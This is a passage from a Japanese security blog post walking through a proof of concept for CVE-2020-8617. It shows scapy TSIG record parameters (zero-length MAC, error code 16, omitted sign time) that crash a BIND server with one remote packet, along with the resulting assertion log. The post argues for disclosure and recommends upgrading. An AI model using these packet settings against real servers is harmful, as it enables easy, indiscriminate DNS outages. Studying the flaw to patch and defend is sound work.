調査していったところ、いくつかのフィールドの値が異なっていたのとMac Sizeが間違っていたので修正しました。詳細は割愛します。その結果、scapy経由でも無事にBINDサーバ側でdns_tsig_verify関数が呼ばれるようになりました。そして上に書いたようにsiglenが0になるように以下のパケットを送りました。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="")

その結果、siglenが0となり先程のifを回避することができました。しかし今度はelse ifの方に入ってしまいました。

bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub

こちらのelse ifに入ると即座にreturnされてabortしてくれません。後半の方のifに入って貰う必要があります。ここでようやくtsig.errorが登場します。先程のコミットメッセージの通り、このtsig.errorはレスポンス時にのみ評価されるべき値のようです。なので、リクエストでerrorを詰めてみます。このelse ifで比較しているdns_tsigerror_badsigとdns_tsigerror_badkeyに対応する値はそれぞれ16と17です。16で試してみます。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", error=16)

そしてあっさりとBINDサーバが落ちました。

20-May-2020 12:31:31.207 client @0x7f13540e2820 172.17.0.1#53206: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
20-May-2020 12:31:31.208 tsig.c:869: INSIST(msg->verified_sig) failed
20-May-2020 12:31:31.208 exiting (due to assertion failure)

実際にはエラーメッセージにも出ているようにtsig.cの869行目のINSIST(msg->verfied_sig)で落ちます。

bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub

あと実はもう1つの条件として、signされた時刻をexpiredな時刻にしておく必要があります。これは実際にソースコード上でどこが該当するのかわからないのですが、最初真面目に以下のようにtime_signedを設定したら刺さりませんでした。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=32, mac_data=h.digest(), time_signed=int(time.time()), fudge=300, error=16)

そして書き直していた時に書き忘れて偶然刺さったというラッキーが起こりました。Exploit書く人間には多少の運が必要という格言もある気がします。

ということで終わってしまえば簡単にPoCを書くことができました。実際には数時間ぐらいは奮闘していたのでこんなにすんなりは行っていないですが、攻撃者もすぐに(または既に)開発できてしまうと思います。local-ddnsがデフォルトで生成されてしまう可能性と合わせると非常に危険な状態だと言えます。攻撃そのものも1パケットをリモートから送るだけでBINDサーバがダウンするので無差別攻撃も容易です。key名を分かりにくくすることである程度緩和可能だとは思いますが、やはり個人的にはBINDのバージョンアップデートを推奨します。もちろん諸事情で上げられない環境があるのもよく知っていますが...

PoC

再掲しておきます。自分で試してみたい方向けにDockerイメージも用意してあるので簡単にDoSを検証可能です。

github.com

まとめ

CVE-2020-8617のPoCを解説しました。過去もPoCコードを書いたことは何度もあるのですが、某県警が怖くて公開してきませんでした。これは冗談のようですが割と真面目に事実です。セキュリティ業界はそういった情報を交換し合うことで教訓とし、次の事故を防ぐといったように成長してきていると考えていますが、日本では公の場でそういう事が出来ず厳しい状況に置かれているなと感じています。攻撃者は裏で共有しあっているわけで、守る側が成長しないとどんどん攻撃者との差が開いていきます。日本はセキュリティが遅れていると言われるのも仕方ない気がします。もちろん中には凄い方もたくさんいらっしゃいますが、全体としての話です。

今回はせっかく日本にいないので公開することにしました。脆弱性が公開されて不必要に怖がるのではなく、また攻撃コードがないからと詳細も見ずに楽観視するのでもなく、自ら脆弱性内容を正しく理解し正確にハンドリングできる人が増えていくと良いなと思います。自分もまだまだなのですが、どのように脆弱性を追っていきどのように攻撃可能性を判断するか、という点で本記事が少しでも誰かの役に立てば幸いです。

教訓めいた感じになりましたが、CVE-2020-8617に関して言えば推測可能なkeynameがある場合は即座にアップデート推奨と現時点では考えています。

1日1万回感謝のBINDビルドをしておかないとこういう時にすぐ動けないので、音を置き去りにする速度でPoCを書くためにも皆さん毎日ビルドしましょう。